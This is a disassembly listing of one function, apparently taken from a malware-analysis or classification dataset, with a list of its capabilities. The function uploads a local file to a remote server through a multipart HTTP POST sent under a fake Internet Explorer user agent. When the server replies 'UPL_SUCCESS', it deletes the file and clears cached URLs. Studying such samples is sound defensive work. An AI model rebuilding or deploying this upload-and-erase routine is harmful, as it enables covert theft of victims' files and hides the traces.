Function at 0x4045d5
Capabilities:
Connect to http server
Create http request
Delete file
Send data
Send http request

Disassembly:
mov eax, 0x416286
call fcn.00409e24
sub esp, 0x498
mov eax, dword [0x41c390]
push ebx
push esi
xor esi, esi
cmp dword [0x41fd30], esi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
jne 0x404645
cmp dword [0x41c0ac], 0x10
mov eax, dword [0x41c098]
jae 0x404610
mov eax, 0x41c098
push eax
push 0x41ee10
call fcn.00403d18
test eax, eax
pop ecx
pop ecx
jne 0x404645
inc eax
mov dword [0x41fd2c], eax
mov dword [0x41fd30], eax
lea eax, [ebp - 0x464]
push eax
call fcn.00404529
jmp 0x404645
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x41fd30], 1
je 0x40463a
mov ebx, str.true
mov edi, str.false
jmp 0x404665
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push edi
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
je 0x40465a
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_7.0__MSIE_6.0__Windows_NT_5.1__.NET_CLR_2.0.50727_
mov dword [ebp - 0x468], esi
mov dword [ebp - 4], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push esi
push 3
mov edi, str.HTTP_1.0
push edi
push esi
push 0x50
push dword [ebp + 0x10]
mov dword [ebp - 0x464], eax
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, esi
mov dword [ebp - 0x46c], eax
jne 0x4046d5
push 0x4cd
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004098d0
pop edi
pop esi
pop ebx
leave
ret
push esi
push 0x80000000
push esi
push esi
push edi
push dword [ebp + 0x14]
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0xf
pop edi
push esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x34], edi
call fcn.00401d7f
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], edi
call fcn.00401d7f
push 0xffffffffffffffff
push esi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.004020fe
push str.Xu022_789boundaryXu022_
lea ecx, [ebp - 0x30]
call fcn.004034d6
push esi
call fcn.0040af35
push eax
call fcn.0040af06
call fcn.0040af13
cdq
push 0x32
pop ecx
idiv ecx
mov edi, edx
call fcn.0040af13
cdq
push 0x14
pop ecx
idiv ecx
imul edi, edx
call fcn.0040af13
push 0xa
pop ecx
cdq
idiv ecx
lea eax, [ebp - 0x54]
imul edi, edx
push edi
push 0x4174a4
push eax
call fcn.00409847
add esp, 0x14
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403316
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x4a4]
push str.Content_Type:_multipart_form_data__boundary
push eax
call fcn.00403ad9
add esp, 0xc
push 0x41755c
push eax
lea eax, [ebp - 0x488]
push eax
mov byte [ebp - 4], 3
call fcn.004038a4
add esp, 0xc
push 0xffffffffffffffff
mov byte [ebp - 4], 4
push esi
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403049
push esi
push 1
lea ecx, [ebp - 0x488]
call fcn.00402059
push esi
push 1
lea ecx, [ebp - 0x4a4]
mov byte [ebp - 4], 2
call fcn.00402059
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x40492f
lea eax, [ebp - 0x48]
mov edi, eax
push 0xa0000000
push eax
call fcn.00408e60
pop ecx
push eax
push edi
push dword [ebp - 0x458]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push 0x4174b4
push dword [ebp + 0xc]
call fcn.0040ae61
push 2
mov edi, eax
push esi
push edi
mov dword [ebp - 0x45c], edi
call fcn.0040a7a8
push edi
call fcn.0040adc4
push esi
mov ebx, eax
push esi
push edi
mov dword [ebp - 0x460], ebx
call fcn.0040a7a8
lea eax, [ebx + 0x2ee]
push eax
call fcn.00408c89
add esp, 0x28
mov edi, eax
push 0x417558
add ebx, 0xcf08
push edi
mov dword [0x41c080], ebx
call fcn.00409847
cmp dword [ebp - 0x18], 0x10
pop ecx
mov esi, eax
mov eax, dword [ebp - 0x2c]
pop ecx
jae 0x404876
lea eax, [ebp - 0x2c]
push eax
mov ebx, 0x417554
lea eax, [esi + edi]
push ebx
push eax
call fcn.00409847
add esi, eax
push str._nContent_Disposition:_form_data__namefileupxxxx__filename
lea eax, [esi + edi]
push ebx
push eax
call fcn.00409847
push dword [ebp + 0x18]
add esi, eax
lea eax, [esi + edi]
push str._s__
push eax
call fcn.00409847
push dword [ebp + 0x1c]
add esi, eax
lea eax, [esi + edi]
push str._s__
push eax
call fcn.00409847
push dword [ebp + 0x20]
add esi, eax
lea eax, [esi + edi]
push str._s__
push eax
call fcn.00409847
push dword [ebp + 8]
add esi, eax
lea eax, [esi + edi]
push ebx
push eax
call fcn.00409847
add esp, 0x48
add esi, eax
push str.__nContent_type:_file_r_n_r_n
lea eax, [esi + edi]
push ebx
push eax
call fcn.00409847
push dword [ebp - 0x45c]
mov ebx, dword [ebp - 0x460]
add esi, eax
push 1
lea eax, [esi + edi]
push ebx
push eax
call fcn.0040ac16
push dword [ebp - 0x45c]
call fcn.0040a855
add esp, 0x20
add ebx, esi
push edi
call fcn.00408e60
cmp ebx, eax
pop ecx
jae 0x404937
mov byte [ebx + edi], 0
inc ebx
jmp 0x40491d
mov edi, dword [ebp - 0x48]
jmp 0x4047f0
mov eax, dword [ebp - 0x460]
add esi, eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40494b
lea eax, [ebp - 0x2c]
push eax
lea eax, [esi + edi]
push str._r_n___s__
push eax
call fcn.00409847
add esp, 0xc
add esi, eax
mov ebx, esi
push edi
call fcn.00408e60
cmp ebx, eax
pop ecx
jae 0x404973
mov byte [ebx + edi], 0
inc ebx
jmp 0x404961
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push dword [ebp - 0x458]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push dword [ebp - 0x458]
call dword [sym.imp.wnhelp.dll_InetReadF]
push eax
lea eax, [ebp - 0x454]
push eax
call fcn.0040a9f0
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x460], esp
push 0x41c094
call fcn.00403492
sub esp, 0x1c
lea eax, [ebp - 0x454]
mov ecx, esp
mov dword [ebp - 0x45c], esp
push eax
mov byte [ebp - 4], 5
call fcn.00403942
mov byte [ebp - 4], 2
call fcn.00402f7f
add esp, 0x38
cmp eax, ebx
jbe 0x404a08
lea eax, [ebp - 0x454]
push str.UPL_SUCCESS
push eax
call fcn.0040ae80
test eax, eax
pop ecx
pop ecx
je 0x404a08
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x468], 1
push edi
call fcn.004098e3
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
push dword [ebp - 0x46c]
mov dword [0x41c080], 0xc738
call esi
push dword [ebp - 0x464]
call esi
push dword [ebp - 0x458]
call esi
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x41ee10
call esi
push dword [ebp + 0x14]
call esi
push dword [ebp + 0x10]
call esi
push ebx
push 1
lea ecx, [ebp - 0x30]
call fcn.00402059
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.00402059
mov eax, dword [ebp - 0x468]
jmp 0x4046be